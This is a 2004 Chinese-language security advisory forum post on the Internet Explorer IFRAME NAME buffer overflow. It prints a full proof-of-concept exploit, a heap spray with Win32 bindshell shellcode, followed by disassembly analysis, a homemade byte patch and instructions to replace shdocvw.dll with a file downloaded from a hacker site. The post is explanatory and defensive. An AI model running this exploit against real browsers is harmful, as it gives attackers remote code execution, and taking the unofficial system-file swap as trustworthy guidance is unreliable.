[公告]邪恶八进制安全小组计算机应急事件响应公告(ESTCERA0401)
[align=center][b]邪恶八进制安全小组计算机应急事件响应公告[/b]EvilOctal Security Team Computer Emergency Response Announcement
(ESTCERA0401)[/align]
[b]公告声明:[/b]
此紧急公告由邪恶八进制安全小组跟进编辑北京绿盟科技紧急通告,并在绿盟的公告上附加引用了很多其他的内容,但北京绿盟科技版权所有,拷贝引用请注明来源为中联绿盟!
[b]Microsoft Internet Explorer IFRAME缓冲区溢出漏洞[/b]
发布日期:2004-11-14
[b]受影系统:[/b]
Microsoft Internet Explorer 6.0SP2
Microsoft Internet Explorer 6.0SP1
Microsoft Internet Explorer 5.5SP2
Microsoft Internet Explorer 5.5SP1
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0
- Microsoft Windows XP Professional SP1
- Microsoft Windows XP Professional
- Microsoft Windows XP Home SP1
- Microsoft Windows XP Home
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 2003 Web Edition
- Microsoft Windows 2003 Standard Edition
- Microsoft Windows 2003 Enterprise Edition 64-bit
- Microsoft Windows 2003 Enterprise Edition
- Microsoft Windows 2003 Datacenter Edition 64-bit
- Microsoft Windows 2003 Datacenter Edition
- Microsoft Windows 2000 SP4
- Microsoft Windows 2000 SP3
- Microsoft Windows 2000 SP2
- Microsoft Windows 2000 SP1
- Microsoft Windows 2000
[b]安全综述:[/b]
前不久,有人公开了一个Microsoft Internet Explorer IFRAME的缓冲区溢出漏洞,并发布了利用该漏洞的攻击代码。该漏洞目前尚无任何官方复补丁可用。绿盟科技安全小组监测到一个MyDoom蠕虫的新变种(MyDoom.AG)已经在利用这个漏洞传播。
[b]漏洞描述:[/b]
Microsoft Internet Explorer是一款流行的WEB浏览器。
Microsoft Internet Explorer在处理IFRAME标签的NAME属性时缺少正确的缓冲区边界检查,远程攻击者可以利用这个漏洞以IE进程权限在系统上执行任意指令。
攻击者如果构建一个IFRAME标签,并在NAME属性中构建超长字符串,诱使用户访问此页面,可导致目标用户IE程序发生缓冲区溢出,精心构建页面数据,可能以IE进程权限在系统上执行任意指令。
[b]测试方法:[/b]
[align=center][color=red]警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负![/color][/align]
Michal Zalewski提供了如下测试方法:
[code]<HTML><!--
________________________________________________________________________________
,sSSSs, Ss, Internet Exploiter v0.1
SS" `YS' '*Ss. MSIE <IFRAME src=... name="..."> BoF PoC exploit
iS' ,SS" Copyright (C) 2003, 2004 by Berend-Jan Wever.
YS, .ss ,sY" [url]http://www.edup.tudelft.nl/~bjwever[/url]
`"YSSP" sSS <[email]skylined@edup.tudelft.nl[/email]>
________________________________________________________________________________
This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License version 2, 1991 as published by
the Free Software Foundation.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
A copy of the GNU General Public License can be found at:
[url]http://www.gnu.org/licenses/gpl.html[/url]
or you can write to:
Free Software Foundation, Inc.
59 Temple Place - Suite 330
Boston, MA 02111-1307
USA.
-->
<SCRIPT language="javascript">
// Win32 MSIE exploit helper script, creates a lot of nopslides to land in
// and/or use as return address. Thanks to blazde for feedback and idears.
// Win32 bindshell (port 28876, '\0' free, looping). Thanks to HDM and
// others for inspiration and borrowed code.
shellcode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9
%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01
%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233
%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50
%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550
%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34
%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656
%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b
%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb
%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
// Nopslide will contain these bytes:
bigblock = unescape("%u0D0D%u0D0D");
// Heap blocks in IE have 20 dwords as header
headersize = 20;
// This is all very 1337 code to create a nopslide that will fit exactly
// between the the header and the shellcode in the heap blocks we want.
// The heap blocks are 0x40000 dwords big, I can't be arsed to write good
// documentation for this.
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
// And now we can create the heap blocks, we'll create 700 of them to spray
// enough memory to be sure enough that we've got one at 0x0D0D0D0D
memory = new Array();
for (i=0;i<700;i++) memory[i] = block + shellcode;
</SCRIPT>
<!--
The exploit sets eax to 0x0D0D0D0D after which this code gets executed:
7178EC02 8B08 MOV ECX, DWORD PTR [EAX]
[0x0D0D0D0D] == 0x0D0D0D0D, so ecx = 0x0D0D0D0D.
7178EC04 68 847B7071 PUSH 71707B84
7178EC09 50 PUSH EAX
7178EC0A FF11 CALL NEAR DWORD PTR [ECX]
Again [0x0D0D0D0D] == 0x0D0D0D0D, so we jump to 0x0D0D0D0D.
We land inside one of the nopslides and slide on down to the shellcode.
-->
<IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB NAME="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC??"></IFRAME>[/code]
[b]漏洞分析:[/b]
shdocvw.dll是Microsoft Internet Explorer的HTML解释引擎的一部分,其中调用了不安全函数wcscpy()来处理IFRAME标签的NAME属性,在拷贝数据的时候缺少正确的缓冲区边界检查。攻击者通过构建IFRAME标签,并在NAME属性中构建超长字符串,诱使用户访问此页面,可导致Microsoft Internet Explorer 发生缓冲区溢出。通过精心设计的代码,远程攻击者可以利用这个漏洞以Microsoft Internet Explorer 进程权限在系统上执行任意指令。
任何调用Microsoft Internet Explorer 的HTML解释引擎工作的应用软件均受该漏洞影响,例如MyIE、OutLook、FoxMail等。
由于触发漏洞并不依赖于任何可开关的设置选项,所以没有办法通过某些安全设置来杜绝受到漏洞的威胁。但是目前公开的对该漏洞的利用方法中需要使用脚本,所以,在Microsoft Internet Explorer的 安全设置中,禁用“活动脚本”,可以减小受威胁程度。即使受到该代码的攻击,也只会使浏览器崩溃,而不会被入侵者控制系统。但并不排除还有其他利用方法出现的可能。
下面邪恶八进制安全小组为大家转载了一篇漏洞分析文章,此分析文章的作者是bkbll前辈。
1. 漏洞的由来
bugtraq上有人发布了一个针对IE iframe的exploit, 用的方法非常巧妙,针对2K IE6能做到基本通用了. 牛人就是牛人.
2. 漏洞的分析.
IE 在处理iframe 标签的时候,会调用SHDOCVW!CBaseBrowser2::SetFrameName函数来进行unicode copy(wcscpy):
.text:71754F67 ; public: virtual long __stdcall CBaseBrowser2::SetFrameName(unsigned short *)
.text:71754F67 ?SetFrameName@CBaseBrowser2@@UAGJPAG@Z proc near ; DATA XREF: .text:717233B8o
.text:71754F67 ; .text:71739900o
.text:71754F67
.text:71754F67 arg_0 = dword ptr 4
.text:71754F67 arg_4 = dword ptr 8
.text:71754F67
.text:71754F67 mov eax, [esp+arg_0]
.text:71754F6B push [esp+arg_4] ; wchar_t *
.text:71754F6F add eax, 368h
.text:71754F74 push eax ; wchar_t *
.text:71754F75 call ds:__imp__wcscpy
.text:71754F7B pop ecx
.text:71754F7C pop ecx
.text:71754F7D xor eax, eax
.text:71754F7F retn 8
.text:71754F7F ?SetFrameName@CBaseBrowser2@@UAGJPAG@Z endp
在拷贝iframe的name时候,没有进行边界检查,导致了溢出.
3. 能覆盖的东西
这里没有进行深入研究,大部分引用exp的原文.
这个exp覆盖了一个结构,什么结构目前未知, 按照作者的说法,是在
7178EC02 8B08 MOV ECX, DWORD PTR [EAX]
//[0x0D0D0D0D] == 0x0D0D0D0D, so ecx = 0x0D0D0D0D.
7178EC04 68 847B7071 PUSH 71707B84
7178EC09 50 PUSH EAX
7178EC0A FF11 CALL NEAR DWORD PTR [ECX]
这里的时候,因为其中的一个指针被覆盖,最后当程序运行到 7178EC0A 的时候,会跳转到ecx.而ecx是一个受控制的区域.(其实
是通过暴力扩大内存区域,使0d0d0d0d总能指向我们的javascript请求的内存块) 这个从他的exp上能很好的看出来,这里就不多说了.
4. 补丁.
目前microsoft官方还没有发布补丁, 但是未了避免遭受毒害, 我还是想简单的patch一下. 思想是用msvcrt!wcsncpy来代替wcscpy.
因为要保证字节一至,就没有严格做到程序的输入/返回一样.
下面是做的简单补丁:
text:71754F67 sub_71754F67 proc near ; DATA XREF: .text:717233B8o
.text:71754F67 ; .text:71739900o
.text:71754F67
.text:71754F67 arg_0 = dword ptr 4
.text:71754F67
.text:71754F67 mov eax, [esp+arg_0]
.text:71754F6B push 20h
.text:71754F6D push esi
.text:71754F6E add eax, 368h
.text:71754F73 push eax
.text:71754F74 mov eax, 780104FCh
.text:71754F79 call eax
.text:71754F7B pop ecx
.text:71754F7C pop ecx
.text:71754F7D pop eax
.text:71754F7E nop
.text:71754F7F retn 8
.text:71754F7F sub_71754F67 endp
因为在前面调用的时候就是push esi来做arg 2的,所以这里直接用push esi 节省了几个字节的指令. 后面本来是要返回0的,但
因为call 一个8字节的地址在6字节内没有解决(不知道大家有没有好方法?) 所以只好牺牲eax了, 其实调用返回后eax本身也没用.
[root@DUMPLOGIN C:\WINNT\system32\dllcache]#fc /b shdocvw.dll shdocvw.dll.org
正在比较文件 shdocvw.dll 和 SHDOCVW.DLL.ORG
0005436B: 6A FF
0005436C: 20 74
0005436D: 56 24
0005436E: 05 08
0005436F: 68 05
00054370: 03 68
00054371: 00 03
00054373: 50 00
00054374: B8 50
00054375: FC FF
00054376: 04 15
00054377: 01 6C
00054378: 78 12
00054379: FF 70
0005437A: D0 71
0005437D: 58 33
0005437E: 90 C0
5. 使用.
patch补丁后, 用zap 删除掉shdocvw.dll,然后将这个copy过去,打开IE, 再来浏览exploit页,发现已经攻击无效了.
6. 郁闷:
很奇怪的是,在explorer中加载我修改后的shdocvw.dll和IE中加载的不一样,
具体在:
explorer中:
0:015> uf SHDOCVW!CBaseBrowser2::SetFrameName
SHDOCVW!CBaseBrowser2::SetFrameName:
00dd4f67 8b442404 mov eax,[esp+0x4]
00dd4f6b 6a20 push 0x20
00dd4f6d 56 push esi
00dd4f6e 0568030000 add eax,0x368
00dd4f73 50 push eax
00dd4f74 b8fc040178 mov eax,0x780104fc
00dd4f79 6760 pushad
00dd4f7b 59 pop ecx
00dd4f7c 59 pop ecx
00dd4f7d 58 pop eax
00dd4f7e 90 nop
00dd4f7f c20800 ret 0x8
IE中:
SHDOCVW!CBaseBrowser2::SetFrameName:
71754f67 8b442404 mov eax,[esp+0x4]
71754f6b 6a20 push 0x20
71754f6d 56 push esi
71754f6e 0568030000 add eax,0x368
71754f73 50 push eax
71754f74 b8fc040178 mov eax,0x780104fc
71754f79 ffd0 call eax
71754f7b 59 pop ecx
71754f7c 59 pop ecx
71754f7d 58 pop eax
71754f7e 90 nop
71754f7f c20800 ret 0x8
注意到了吗?
00dd4f79 6760 pushad
vs
71754f79 ffd0 call eax
这里没有深入研究, 不知道为什么会出现这种情况.
[b]解决方法:[/b]
由于微软还没有提供官方补丁,绿盟科技建议您使用IE浏览器时不要访问不可信的网页。或者暂时不要使用IE,改用其他WEB浏览器,例如Opera或者Mozilla。
及时升级您的反病毒软件的病毒库以防被蠕虫感染。
这里邪恶八进制安全小组转载一篇临时解决办法给大家,文章作者是红客联盟的Bkbll大哥。
因为MS还未推出官方补丁,而且听说蠕虫快来了,所以我自己做了一个IEFRAME的临时补丁,希望能对2K的用户有点帮助.
下载地址:[url]http://www.cnhonker.com/download/tools/Patch/shdocvw.dll[/url]
MD5sum: 3adf2bc3ce2138255a07f01e1ef787e1 shdocvw.dll
使用方法:
目的只有一个,用这个文件替换c:\winnt\system32\shdocvw.dll
替换方法:
先下一个zap.exe,如果没有可以来这里下:
[url]http://www.cnhonker.com/download/tools/Patch/zap.exe[/url]
MD5sum:888b04a8f81325c4e0614ac977a335e3 zap.exe
先关闭所有程序,浏览器,QQ等等,只剩下一个cmd窗口.
将下回来的shdocvw.dll和zap.exe放在非系统目录的分去里, 比如, 系统装在C,则放在除C以外的分区(D,E,F..)
在CMD下运行: zap %SystemRoot%\system32\shdocvw.dll
如果顺利会得到success的提示.
copy shdocvw.dll %SystemRoot%\system32\dllcache\shdocvw.dll /y
copy shdocvw.dll %SystemRoot%\system32\
然后重新启动就搞定了.
注意: 这个补丁只对win2k sp4 IE6(注意是IE6)后打了所有补丁的机器有效果, 不论语言. 对其他版本IE未测试,比如IE5等,对XP未测试.2003未测试.
用者慎重.
[b]附加信息:[/b]
[url]http://www.nsfocus.net/index.php?act=alert&do=view&aid=47[/url]
[url]http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=7078[/url]
[url]http://www.cnhonker.com/index.php?module=articles&act=view&type=7&id=1026[/url]
[url]http://www.cnhonker.com/index.php?module=articles&act=view&type=7&id=1035[/url]
[url]http://www.kb.cert.org/vuls/id/842160[/url]
[url]http://eviloctal.hackway.net/forum/read.php?tid=4034[/url]
[url]http://eviloctal.hackway.net/forum/read.php?tid=4270[/url]
页:
[1]
